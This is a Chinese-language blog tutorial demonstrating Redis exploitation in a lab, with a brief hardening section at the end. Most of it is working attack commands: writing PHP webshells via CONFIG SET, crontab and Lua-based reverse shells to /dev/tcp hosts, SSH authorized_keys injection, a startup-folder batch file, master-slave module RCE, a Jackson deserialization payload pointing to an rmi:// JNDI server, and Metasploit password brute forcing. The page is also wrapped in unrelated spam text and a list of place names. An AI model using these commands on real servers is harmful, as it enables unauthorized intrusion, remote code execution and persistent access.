中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Redis漏洞利用的示例分析

發布時間:2022-01-05 17:57:47 來源:億速云 閱讀:185 作者:小新 欄目:網絡管理

這篇文章給大家分享的是有關Redis漏洞利用的示例分析的內容。小編覺得挺實用的,因此分享給大家做個參考,一起跟隨小編過來看看吧。

僅供參考學習使用

1、前言

Redis相關的漏洞存在很長時間了,仍然存在可以利用的情景,本次整理復現下redis相關的漏洞利用,以便以后遇到能夠快速建立利用思路。

2、redis介紹

redis是一個key-value存儲系統。和Memcached類似,它支持存儲的value類型相對更多,包括string(字符串)、list(鏈表)、set(**)、zset(sorted set --有序**)和hash(哈希類型)。
redis很大程度補償了memcached這類key/value存儲的不足,在部分場合可以對關系數據庫起到很好的補充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客戶端,使用很方便。
redis支持主從同步。數據可以從主服務器向任意數量的從服務器上同步,從服務器可以是關聯其他從服務器的主服務器。
默認端口:6379

3、 環境搭建

分別搭建windows和linux的測試環境。
官方給出redis的windows版本最新為3.x。
windows下載地址:
https://github.com/microsoftarchive/redis/releases
下載Redis-x64-3.2.100.zip解壓到本地目錄下。

Redis漏洞利用的示例分析

修改配置文件redis.windows.conf ,開啟遠程訪問,關閉保護模式。
修改bind 127.0.0.1為bind 0.0.0.0
修改protected-mode yes為protected-mode no

Redis漏洞利用的示例分析

指定redis.windows.conf配置文件,啟動redis服務。

redis-server.exe  redis.windows.conf

Redis漏洞利用的示例分析

使用redis-cli.exe成功連接redis服務。

Redis漏洞利用的示例分析

linux下載地址:
最新版為6.0.1,可以選擇需要的版本進行下載。
http://download.redis.io/releases/redis-6.0.1.tar.gz
使用wget命令下載

$ wget http://download.redis.io/releases/redis-6.0.1.tar.gz
$ tar xzf redis-6.0.1.tar.gz
$ cd redis-6.0.1$ make

編譯后,進入src目錄,將redis-server和redis-cli拷貝到/usr/bin目錄下

cp redis-server /usr/bin
cp redis-cli /usr/bin
cd ../
ls
cp redis.conf /etc/

修改redis.conf和windows下配置相同,開啟外部訪問,關閉保護模式。

Redis漏洞利用的示例分析

啟動redis服務

redis-server  /etc/redis.conf

Redis漏洞利用的示例分析

成功連接redis服務。

redis-cli -h 172.16.86.136

Redis漏洞利用的示例分析

4、redis寫入文件

redis默認情況下沒有設置密碼,在沒有設置IP訪問限制的情況下,可以通過redis寫入文件進行相關利用。

4.1、寫入webshell

適用范圍:windows,linux版本。
利用條件:
1、目標存在web目錄
2、已知web絕對路徑
3、存在寫入權限
利用過程:
利用redis寫入一個webshell到目標web目錄下。

config set dir "C:/phpstudy_pro/WWW/web"
config set dbfilename info.php
set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save

Redis漏洞利用的示例分析

\r\n\r\n代表換行的意思,用redis入的文件會自帶一些版本信息,如果不換行可能會導致無法執行。

Redis漏洞利用的示例分析

成功寫入文件。

Redis漏洞利用的示例分析

4.2、計劃任務反彈shell

使用范圍:centos
利用條件:
1、權限可寫計劃任務
利用過程:
在權限足夠的情況下,利用redis寫入文件到計劃任務目錄下執行。
首先監聽端口。

nc -lvp 8899

利用redis生成計劃任務配置文件。

config set dir /var/spool/cronset tide "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/x.x.x.x/8899 0>&1\n\n"config set dbfilename root
save

Redis漏洞利用的示例分析

在目標主機上成功添加了計劃任務。

crontab -l

Redis漏洞利用的示例分析

每一分鐘執行一次,成功接收到反彈的shell。

Redis漏洞利用的示例分析

坑點:
使用kali做為目標主機進行測試,需要寫入計劃任務到/var/spool/cron/crontabs目錄下。
發現當目標主機為centos時可以反彈shell成功,使用了ubuntu和debian均無法成功反彈shell。
原因:由于redis向任務計劃文件里寫內容出現亂碼而導致的語法錯誤,而亂碼是避免不了的,centos會忽略亂碼去執行格式正確的任務計劃。

4.3、寫入公鑰遠程連接

使用范圍:開啟了密鑰認證的linux主機
利用條件:
1、root權限
2、開啟了ssh密鑰登錄,存在/etc/.ssh文件
利用過程:
當redis以root身份運行,可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄目標服務器。
1、首先在centos靶機上開啟ssh密鑰登錄。
修改/etc/ssh/sshd_config配置文件。

RSAAuthentication設置為yes,意思是設置開啟使用RSA算法的基于rhosts的安全驗證;
PubkeyAuthentication設置為yes,意思是設置開啟公鑰驗證;
AuthorizedKeyFiles后面的目錄,是你上傳的公鑰所保存的文件;

Redis漏洞利用的示例分析

重啟服務

 systemctl restart sshd.service

2、生成密鑰
在kali中使用自帶的命令生成一對密鑰。

ssh-keygen -t rsa

3、將公鑰內容導入key.txt文件

Redis漏洞利用的示例分析

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

Redis漏洞利用的示例分析

4、將生成的公鑰內容設置給redis里的變量

cat /root/.ssh/key.txt | redis-cli -h x.x.x.x -x set tide

Redis漏洞利用的示例分析

5、在 /root/.ssh 目錄下生成authorized_keys文件。

redis-cli -h x.x.x.x
config set dir /root/.ssh 
config  set  dbfilename authorized_keys

Redis漏洞利用的示例分析

成功寫入authorized_keys文件。

Redis漏洞利用的示例分析

6、使用本地的私鑰連接ssh

ssh  -o StrictHostKeyChecking=no x.x.x.x

連接成功。

Redis漏洞利用的示例分析

坑點:
目標主機必須開啟了密鑰登錄才能利用。
ssh第一次連接時要加上 -o StrictHostKeyChecking=no,不然可能一直連不上。

4.4、開機自啟目錄

當目標redis部署在windows主機上時,可以寫入文件到自啟動目錄。當下次電腦重新啟動時執行上線。
使用powershell遠程下載執行。
server服務器默認存在Administrator用戶。
寫入批處理文件到Administrator用戶的開機啟動目錄。

config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
config set dbfilename shell.bat
save

Redis漏洞利用的示例分析

5、 redis主從同步rce

使用范圍redis 4.x-5.0.5
在Redis 4.x之后,Redis新增了模塊功能,通過外部拓展,可以在redis中實現一個新的Redis命令,通過寫c語言并編譯出.so文件。

git clone https://github.com/Ridter/redis-rce.gitgit clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git

編譯so文件

cd RedisModules-ExecuteCommand/
ls
make

編譯完后之后module.so到redis-rce目錄下,運行命令:

python redis-rce.py -r x.x.x.x  -L x.x.x.x -f module.so

-r參數是指目標redis IP地址
-L參數是指本機的ip地址
執行命令后,本機21000端口生成一個redis服務,然后目標redis指定本機為主服務器,同步執行so文件。
執行成功后可以選擇生成一個交互的shell,或者重新反彈一個shell。

Redis漏洞利用的示例分析

6、反序列化rce

當遇到 redis 服務器寫文件無法 getshell,可以查看redis數據是否符合序列化數據的特征。
序列化數據類型分辨:

jackson:關注 json 對象是不是數組,第一個元素看起來像不像類名,例如["com.blue.bean.User",xxx]
fastjson:關注有沒有 @type 字段
jdk:首先看 value 是不是 base64,如果是解碼后看里面有沒有 java 包名

redis 反序列化本質上不是 redis 的漏洞,而是使用 redis 的應用反序列化了 redis 的數據而引起的漏洞,redis 是一個緩存服務器,用于存儲一些緩存對象,所以在很多場景下 redis 里存儲的都是各種序列化后的對象數據。
兩個常見場景:
一、java 程序要將用戶登錄后的 session 對象序列化緩存起來,這種場景是最常見的。
二、程序員經常會把 redis 和 ORM 框架整合起來,一些頻繁被查詢的數據就會被序列化存儲到 redis 里,在被查詢時就會優先從 redis 里將對象反序列化一遍。

redis一般存儲的都是 java 序列化對象,php、python 比較少見,比較多的是 fastjson 和 jackson 類型的序列化數據,jdk 原生的序列化數據。
因為要從 redis 反序列化對象,在對象類型非單一或少量的情況下程序員通常會選擇開啟 jackson 的 defaulttyping 和 fastjson 的 autotype,所以通常可以進行利用。

fastjson反序列化和java反序列化和jackson 反序列化利用原理相同,都是通過篡改 redis 里面的反序列化數據,把惡意的序列化字節碼存儲進去,等到應用使用到它的時候就會反序列化觸發漏洞,下面演示jackson 反序列化的利用過程。

6.1、jackson 反序列化利用

序列化:把Java對象轉換為字節序列的過程。
反序列化:把字節序列恢復為Java對象的過程。
jackson 反序列化漏洞匯總
使用淺藍大佬的springboot+redis+jackson的漏洞環境進行演示。
下載地址:https://github.com/iSafeBlue/redis-rce
首先搭建漏洞環境。
使用IDEA打開pom.xml文件,自動下載安裝程序運行所需的依賴。

Redis漏洞利用的示例分析

安裝完成后,運行程序。

Redis漏洞利用的示例分析本地啟動一個redis。

Redis漏洞利用的示例分析

TestController.java 里寫了兩個接口,login 接口會把 User 對象直接存儲到 redis。home 接口會將 username 參數當做 key 去 redis 里查詢。

在“存儲”和“查詢”的時候實際上就是在“序列化”與“反序列化”。

這個過程如下:

調用login接口 -> 序列化User對象并存儲到redis -> 調用home接口 -> 從redis取出數據并反序列化

如果控制了redis,可以先調用login接口把User 對象序列化存儲到redis,然后把redis里的這條序列化數據篡改成惡意反序列化數據。最后去訪問home接口,從redis中取出數據,從而導致觸發了反序列化漏洞。

演示過程:
訪問login接口把數據存儲到redis。

127.0.0.1:8080/login?username=nuoyan&password=123456

Redis漏洞利用的示例分析

修改redis中的存儲的數據為惡意反序列化數據,發起 JNDI 連接請求。相關rmi和jndi服務器搭建可以參考

Fastjson反序列化漏洞利用

set nuoyan "[\"com.zaxxer.hikari.HikariConfig\",{\"metricRegistry\":\"rmi://x.x.x.x:1098/jndi\"}]"

Redis漏洞利用的示例分析

然后訪問home接口,取出數據進行反序列化,成功彈出了計算器。

http://127.0.0.1:8080/home?username=nuoyan

Redis漏洞利用的示例分析

7、lua rce

A-Team團隊大佬提出的一種利用方法。相關細節可參考《在Redis中構建Lua虛擬機的穩定攻擊路徑》
適用于高權限運行低版本redis的lua虛擬機,寫文件失敗時進行嘗試。
本地搭建了centos6.5+redis 2.6.16的實驗環境
使用info server 和 eval "return _VERSION" 0 命令可以查看當前redis版本和編譯信息。

Redis漏洞利用的示例分析

下載A-Team團隊的exp

https://github.com/QAX-A-Team/redis_lua_exploit/

修改redis_lua.py中目標地址為靶機的ip地址。

Redis漏洞利用的示例分析

運行攻擊exp。

Redis漏洞利用的示例分析

顯示執行成功,可以進行命令執行了。

連接靶機redis執行反彈shell命令。

eval "tonumber('/bin/bash -i >& /dev/tcp/172.16.100.61/9999 0>&1', 8)" 0

Redis漏洞利用的示例分析

成功接收到反彈的shell。

Redis漏洞利用的示例分析

8、redis密碼爆破

當redis服務開放且設置了密碼時,可以嘗試使用工具爆破。
首先給redis設置密碼,修改redis.conf,增加密碼

requirepass admin@123

Redis漏洞利用的示例分析

使用redis-cli連接,使用-a參數指定密碼操作。

Redis漏洞利用的示例分析

使用msf的auxiliary/scanner/redis/redis_login模塊
設置爆破的目標地址,和字典文件,不建議使用默認字典文件。

Redis漏洞利用的示例分析

成功爆破出密碼為admin@123

Redis漏洞利用的示例分析

9、漏洞修復

1、禁止使用root權限啟動redis服務。
2、對redis訪問啟動密碼認證。
3、添加IP訪問限制,并更改默認6379端口

感謝各位的閱讀!關于“Redis漏洞利用的示例分析”這篇文章就分享到這里了,希望以上內容可以對大家有一定的幫助,讓大家可以學到更多知識,如果覺得文章不錯,可以把它分享出去讓更多的人看到吧!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

南丰县| 桓仁| 高陵县| 德保县| 南投县| 绥棱县| 柘城县| 肇庆市| 西华县| 娄烦县| 米脂县| 资中县| 云和县| 罗甸县| 色达县| 栾城县| 梅州市| 大方县| 彩票| 夏津县| 陆河县| 宜良县| 达日县| 呼和浩特市| 株洲市| 黔江区| 永仁县| 册亨县| 静宁县| 江津市| 驻马店市| 庆元县| 额尔古纳市| 正蓝旗| 大庆市| 霞浦县| 定襄县| 易门县| 铜陵市| 金塔县| 宜丰县|